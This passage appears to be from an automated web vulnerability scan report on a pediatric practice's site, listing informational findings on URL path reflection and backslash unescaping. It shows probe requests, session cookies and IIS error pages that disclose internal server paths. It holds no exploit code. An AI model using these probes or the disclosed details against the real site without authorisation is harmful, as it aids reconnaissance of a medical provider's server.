 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:32:11 GMT

 Connection: close
 Content-Length: 4889

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/robots.txtq6rvyrrdhq</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\robots.txtq6rvyrrdhq</td>
 ...[SNIP]...

11.12. http://www.yourwebsite.com/send-contact-us-email.php [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /send-contact-us-email.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

POST /send-contact-us-email.phprepwdikpdb HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
 Cookie: PHPSESSID=jjgacriv67mbrppnm1ccvd56g1

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST=&CF_NAME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PHONE=&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=869740&CF_LASTFIELD=&Subm

 ...[SNIP]...

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:54:39 GMT

 Connection: close
 Content-Length: 4919

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/send-contact-us-email.phprepwdikpdb</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\send-contact-us-email.phprepwdikpdb</td>
 ...[SNIP]...

11.13. http://www.yourwebsite.com/virtual-visits.php [URL path filename]

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /virtual-visits.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /virtual-visits.php3d66i4cl22 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nn6ieb3mb2ipe7dl1mn3o8l3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:46:54 GMT

 Connection: close
 Content-Length: 4905

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/virtual-visits.php3d66i4cl22</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\virtual-visits.php3d66i4cl22</td>
 ...[SNIP]...

12. Suspicious input transformation (reflected)

Previous   Next  
 

There are 12 instances of this issue:

/coronavirus-covid-19.php [URL path filename]
/dr-allison-ball.php [URL path filename]
/dr-karen-moore.php [URL path filename]
/insurance.php [URL path filename]
/js/jquery.cycle2.carousel.min.js [URL path filename]
/js/jquery.cycle2.js [URL path filename]
/js/jquery.cycle2.js [URL path folder 1]
/news-topic.php [URL path filename]
/news.php [URL path filename]
/robots.txt [URL path filename]
/send-contact-us-email.php [URL path filename]
/virtual-visits.php [URL path filename]

Issue background
Suspicious input transformation arises when an application receives user input, transforms it in some way, and then performs further processing on the result. The
types of transformations that can lead to problems include decoding common formats, such as UTF-8 and URL-encoding, or processing of escape sequences, such
as backslash escaping.

Performing these input transformations does not constitute a vulnerability in its own right, but might lead to problems in conjunction with other application behaviors.
An attacker might be able to bypass input filters by suitably encoding their payloads, if the input is decoded after the input filters have been applied. Or an attacker
might be able to interfere with other data that is concatenated onto their input, by finishing their input with the start of a multi-character encoding or escape
sequence, the transformation of which will consume the start of the following data.

Issue remediation
Review the transformation that is being applied, to understand whether this is intended and desirable behavior given the nature of the application functionality, and
whether it gives rise to any vulnerabilities in relation to bypassing of input filters or character consumption.

References
Backslash Powered Scanning: Hunting Unknown Vulnerability Classes

Vulnerability classifications
CWE-20: Improper Input Validation
CAPEC-153: Input Data Manipulation

12.1. http://www.yourwebsite.com/coronavirus-covid-19.php [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /coronavirus-covid-19.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload 8yjwtsvitj\\lxldqbcfnf was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as 8yjwtsvitj\lxldqbcfnf indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /8yjwtsvitj%5c%5clxldqbcfnf HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=8j4102s0v4dptlielpallvnvo3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:59:38 GMT

 Connection: close
 Content-Length: 4891

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\8yjwtsvitj\lxldqbcfnf</td>
 ...[SNIP]...

12.2. http://www.yourwebsite.com/dr-allison-ball.php [URL path filename]

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /dr-allison-ball.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload rx13pllws2\\lby2x2rbvy was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as rx13pllws2\lby2x2rbvy indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /rx13pllws2%5c%5clby2x2rbvy HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l3l55rh9k31mfrc84usuel6i61
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:53:49 GMT

 Connection: close
 Content-Length: 4891

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\rx13pllws2\lby2x2rbvy</td>
 ...[SNIP]...

12.3. http://www.yourwebsite.com/dr-karen-moore.php [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /dr-karen-moore.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload cpeyjo8rgu\\lohuaardc7 was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as cpeyjo8rgu\lohuaardc7 indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /cpeyjo8rgu%5c%5clohuaardc7 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:47:08 GMT

 Connection: close
 Content-Length: 4891

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\cpeyjo8rgu\lohuaardc7</td>
 ...[SNIP]...

12.4. http://www.yourwebsite.com/insurance.php [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /insurance.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload jo93rihscc\\lulmwkbrpi was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as jo93rihscc\lulmwkbrpi indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /jo93rihscc%5c%5clulmwkbrpi HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=fl64mrrd00arhffrdbetb1chj0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:05:24 GMT

 Connection: close
 Content-Length: 4891

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\jo93rihscc\lulmwkbrpi</td>
 ...[SNIP]...

12.5. http://www.yourwebsite.com/js/jquery.cycle2.carousel.min.js [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /js/jquery.cycle2.carousel.min.js

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload 5u2488ej6e\\l7xix1lpcv was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as 5u2488ej6e\l7xix1lpcv indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /js/5u2488ej6e%5c%5cl7xix1lpcv HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=e91v2ah56o6stvccndbl11n8t4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:11:17 GMT

 Connection: close
 Content-Length: 4897

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\js\5u2488ej6e\l7xix1lpcv</td>
 ...[SNIP]...

12.6. http://www.yourwebsite.com/js/jquery.cycle2.js [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /js/jquery.cycle2.js

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload vjcsunc5m1\\l1qk1xt8aj was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as vjcsunc5m1\l1qk1xt8aj indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /js/vjcsunc5m1%5c%5cl1qk1xt8aj HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=0nevh1rp0e5o2bmogcucf581v4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:47:13 GMT

 Connection: close
 Content-Length: 4897

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\js\vjcsunc5m1\l1qk1xt8aj</td>
 ...[SNIP]...

12.7. http://www.yourwebsite.com/js/jquery.cycle2.js [URL path folder 1]

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /js/jquery.cycle2.js

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path folder 1, and echo the result in the response.

 
The payload zf48wd5le1\\l3nj703zm9 was submitted in the URL path folder 1. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as zf48wd5le1\l3nj703zm9 indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /zf48wd5le1%5c%5cl3nj703zm9/jquery.cycle2.js HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=0nevh1rp0e5o2bmogcucf581v4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:46:27 GMT

 Connection: close
 Content-Length: 4925

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\zf48wd5le1\l3nj703zm9\jquery.cycle2.js</td>
 ...[SNIP]...

12.8. http://www.yourwebsite.com/news-topic.php [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /news-topic.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload xvsr3zdhti\\lvqvgtxpkf was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as xvsr3zdhti\lvqvgtxpkf indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /xvsr3zdhti%5c%5clvqvgtxpkf?newsid=48 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4hugbr0h25jsp2iqf11krkfe6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:53:45 GMT

 Connection: close
 Content-Length: 4901

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\xvsr3zdhti\lvqvgtxpkf</td>
 ...[SNIP]...

12.9. http://www.yourwebsite.com/news.php [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /news.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload y64q1ujxid\\lm9hth3dzv was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as y64q1ujxid\lm9hth3dzv indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /y64q1ujxid%5c%5clm9hth3dzv?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=r45p7kmgob6ncg2gdnp029m8s4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:56:24 GMT

 Connection: close
 Content-Length: 4907

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\y64q1ujxid\lm9hth3dzv</td>
 ...[SNIP]...

12.10. http://www.yourwebsite.com/robots.txt [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /robots.txt

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload an1u8kznzf\\ljism7c1ep was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as an1u8kznzf\ljism7c1ep indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

GET /an1u8kznzf%5c%5cljism7c1ep HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:32:57 GMT

 Connection: close
 Content-Length: 4891

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\an1u8kznzf\ljism7c1ep</td>
 ...[SNIP]...

12.11. http://www.yourwebsite.com/send-contact-us-email.php [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /send-contact-us-email.php

Issue detail
The application appears to unescape backslash escape sequences when processing the value of the URL path filename, and echo the result in the response.

 
The payload 183ltplugq\\l46eh3pecn was submitted in the URL path filename. This payload contains the '\\' sequence, which commonly represents an escaped
backslash. The input was copied into the application's response as 183ltplugq\l46eh3pecn indicating that the application unescaped the '\\' sequence as '\'.

 
This behavior indicates that the application might be evaluating the input within some interpreted context, which might give rise to code injection or other issues. It
might also be possible to cause the application to differently interpret characters from the start of any data that is concatenated onto the input, by finishing the
payload with a single backslash character.

Request 1

POST /183ltplugq%5c%5cl46eh3pecn HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
 Cookie: PHPSESSID=jjgacriv67mbrppnm1ccvd56g1

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST=&CF_NAME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PHONE=&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=869740&CF_LASTFIELD=&Subm

 ...[SNIP]...

Response 1

HTTP/1.1 404 Not Found
